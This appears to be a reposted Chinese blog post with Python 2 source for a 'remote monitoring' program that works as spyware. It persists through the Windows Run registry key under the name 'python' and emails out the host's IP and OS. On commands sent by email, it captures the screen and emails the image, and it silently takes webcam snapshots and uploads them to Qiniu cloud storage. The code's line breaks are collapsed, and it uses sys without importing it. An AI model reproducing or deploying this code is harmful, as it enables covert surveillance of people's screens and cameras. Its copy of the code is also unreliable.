python實現網路攝影機遠程截圖功能

來源:互聯網
上載者:User
這篇文章主要介紹了python操作網路攝影機實現遠程監控的例子,例子中包含了控制網路攝影機、寫入Windows註冊表方法等,需要的朋友可以參考下

最近用python寫了一個遠程監控的程式,主要功能有:
1.用郵件控制所以功能
2.可以對螢幕,螢幕發送到郵箱
3.可以用網路攝影機擷取圖片,這些圖片上傳到七牛
4.開機自啟動

##coding by loster#import win32apiimport win32conimport platformimport socketimport timeimport osimport smtplibimport poplibfrom VideoCapture import Devicefrom email.mime.multipart import MIMEMultipart  from email.mime.text import MIMEText  from email.mime.image import MIMEImageimport poplib,emailfrom email.header import decode_headerfrom PIL import ImageGrabimport qiniu.confimport qiniu.ioimport qiniu.rs#去七牛申請qiniu.conf.ACCESS_KEY = ""qiniu.conf.SECRET_KEY = ""#擷取ipdef getIP():    ip=socket.gethostbyname(socket.gethostname())    return ip#擷取作業系統版本、def getSystemVersion():    return platform.platform()def send_Information(ip,system_version):    info='ip:'+ip+'  '+'system version:'+system_version    print info    smtp=smtplib.SMTP()    smtp.connect('smtp.sina.com')    smtp.login('sender@sina.com','***') #改成自己的郵箱和密碼    smtp.sendmail('sender@sina.com','reveicer@qq.com',ip+' '+system_version)#把接收郵箱改成自己另外一個郵箱#,圖片名為時間def screen_capture():    #擷取時間    pic_time=time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))    #pic_name='screen_capture'+time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))    pic_name='screen'+pic_time+'.jpg'    pic = ImageGrab.grab()    pic.save('%s' % pic_name)    print pic_name    #發送圖片    send_Img(pic_time,pic_name)    print pic_name    os.remove(pic_name)#刪除圖片#發送圖片到郵箱def send_Img(pic_time,pic_name):    msgRoot = MIMEMultipart('related')      msgRoot['Subject'] = pic_time    msgText = MIMEText('<b>capture</b> <br><img src="cid:image1">','html','utf-8')      msgRoot.attach(msgText)      #fp = open('F:\\1.jpg', 'rb')    fp = open(pic_name, 'rb')      msgImage = MIMEImage(fp.read())      fp.close()      msgImage.add_header('Content-ID', '<image1>')      msgRoot.attach(msgImage)      smtp = smtplib.SMTP()      smtp.connect('smtp.sina.com','25')      smtp.login("sender@sina.com","*****")     smtp.sendmail("sender@sina.com","receiver@qq.com", msgRoot.as_string())      smtp.quit()    print 'send success'#網路攝影機,每隔SLEEP_TIME秒截取一張def camera_capture():    #抓取頻率    SLEEP_TIME=3    i=0    cam=Device(devnum=0, showVideoWindow=0)    while i<10:        cam_time=time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))        cam_name='camera'+cam_time+'.jpg'        cam.saveSnapshot(cam_name,3,1,'bl')        camera_upload(cam_name)        print str(i)+cam_name        os.remove(cam_name)        time.sleep(SLEEP_TIME)        i+=1 #上傳到七牛      def camera_upload(file):    policy = qiniu.rs.PutPolicy('iloster') #空間名,iloster是我的空間名    uptoken = policy.token()    ret, err = qiniu.io.put_file(uptoken, None, file)    if err is not None:        sys.stderr.write('error: %s ' % err)#擷取最新郵件def accept_mail():    pop=poplib.POP3_SSL('pop.qq.com')    pop.user('receiver@qq.com')    pop.pass_('*****')    #擷取郵件數目    (num,totalSize)=pop.stat()    #擷取最新的郵件    (heard,msg,octets)=pop.retr(num)    mail=email.message_from_string("\n".join(msg))    subject=email.Header.decode_header(mail['subject'])[0][0] #標題    pop.quit()    return subject#獲得程式的路徑def getPath():    path=os.getcwd()+'\Remote.exe'  #最後打包的exe程式名必須為Remote.exe,或者把這裡改一下    print path    return path#添加開機自啟動,在註冊表裡註冊def add_start(path):    subkey='SOFTWARE\Microsoft\Windows\CurrentVersion\Run'    key=win32api.RegOpenKey(win32con.HKEY_LOCAL_MACHINE,subkey,0,win32con.KEY_ALL_ACCESS)    #print win32api.RegQueryValueEx(key,'python')    win32api.RegSetValueEx(key,'python',0,win32con.REG_SZ,path)    print win32api.RegQueryValueEx(key,'python')if __name__=='__main__':    add_start(getPath()) #添加開機自啟動    send_Information(getIP(),getSystemVersion())    while 1: #不斷的監聽        if accept_mail()=='screen': #當擷取的郵件主題為screen時,截取螢幕資訊            screen_capture()        elif accept_mail()=='camera':            camera_capture()


注意:
1.我的發送郵箱是sina郵箱,接收郵箱是qq郵箱,這樣做是因為可以綁定qq郵箱。
2.accept_mail()監聽的郵箱是自己的接收郵箱,就是我用的qq郵箱
3.當監聽到screen時,開始畫面並發送到郵箱,由於監聽的是最新的郵件,當圖片發送帶郵箱時,擷取的郵件主題不是screen了,應該會停止,最後只會截取一張圖片,繼續保持監聽狀態。但實際由於網路的原因,發送的郵件會有延遲,所以,實際截取的圖片會有很多張
4.當監聽到camera時,會用網路攝影機,如果把while i<10,改成i=1,會讓網路攝影機一直,並使其他命令失效,所以我i<10,就是每擷取一次命令,10張

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.